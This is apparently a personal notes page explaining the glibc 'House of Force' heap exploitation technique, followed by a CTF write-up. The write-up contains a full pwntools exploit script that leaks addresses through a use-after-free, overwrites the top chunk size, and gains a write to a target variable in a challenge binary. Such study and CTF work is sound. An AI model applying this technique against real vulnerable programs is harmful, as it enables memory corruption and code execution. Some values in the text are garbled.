House of Force
so much shit
Overview
Requirements
The ability to override top chunk size limit with a overflowing limit
0xFFFFFFFFFF
, usually done with a heap overflowBe able to control the size of the heap allocation - program specific - usually able to
glibc≤2.29 (was patched)
What is the Top Chunk?
It is the chunk which borders the top of an arena. While servicing 'malloc' requests, it is used as the last resort. If still more size is required, it can grow using the
sbrk
system call. ThePREV_INUSE
flag is always set for the top chunk.
Steps
Utilizing a heap overflow, overflow the size of the top chunk header
Calculate the distance between the address of the top chunk (get a leak somewhere via
UAF
)This is done so that a malloc with that size will be performed which will move the top chunk to that position
Allocate the size of the distance minus
0x24
(64 bits) or0x10
(32 bits) to account for metadata of the top chunk and new chunkDo another malloc to get a chunk at the target address
What can you do with this?
Overwrite stack/heap variables
Pop shells by overwriting hooks
__malloc_hook
withone_gadget
Example 1 - Initigri CTF 2024 1337UP
Binary has a UAF as it does not null the pointer after freeing and allows for modification of freed memory via
edit_note
Binary also has a heap overflow in the
edit_note
function
#!/usr/bin/env python3
from pwn import *
exe = ELF("./notepad_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# context.log_level = 'debug'
p = remote('notepad.ctf.intigriti.io', 1341)
# gdb.attach(p)
def create_note(id, size, contents):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(id)
p.recvuntil(b'> ')
p.sendline(size)
p.recvuntil(b'> ')
p.sendline(contents)
def delete_note(id):
p.recvuntil(b'> ')
p.sendline(b'4')
p.recvuntil(b'> ')
p.sendline(id)
def edit_note(id, contents):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'> ')
p.sendline(id)
p.recvuntil(b'> ')
p.sendline(contents)
def view_note(id):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'> ')
p.sendline(id)
p.recvuntil(b'Here a gift: ')
base_address = int(p.recvline().strip(b'\\n'),16) - exe.sym['main']
log.info(f'++ Base Address of ELF : {hex(base_address)}')
key_address = base_address + exe.sym['key']
log.info(f'++ Address of Key variable : {hex(key_address)}')
payload = b'A' * 24
payload += p64(0xffffffffffffffff)
create_note(b'0', b'20', b'A'*20)
create_note(b'1', b'20', b'B'*20)
delete_note(b'0')
delete_note(b'1')
view_note(b'1')
heap_leak = int.from_bytes(p.recvline().strip(b'\\n'), "little")
#Get Heap Leak via UAF - (1)
log.info(f'++ Address of Chunk Zero : {hex(heap_leak)}')
heap_base = heap_leak & ~0xFFF
log.info(f'++ Address of Heap Base : {hex(heap_base)}')
top_chunk = heap_base + 0x290
log.info(f'++ Address of Top Chunk : {hex(top_chunk)}')
#Get Distance between address you want to override and top chunk - (2)
delta_distance = key_address - top_chunk
log.info(f'++ Address of Delta Distance : {hex(delta_distance)}')
#Account for header metadata for top chunk as well as chunk to be allocated - (3)
malloc_size = delta_distance - 0x20 - 0x4
edit_note(b'1', payload)
#Malloc to allocate chunk at specified memory address with padding - (4)
create_note(b'3', str(malloc_size).encode('utf-8'), b'')
create_note(b'4', b'40', b'A' * 12 + p64(0xCAFEBABE))
p.interactive()
Last updated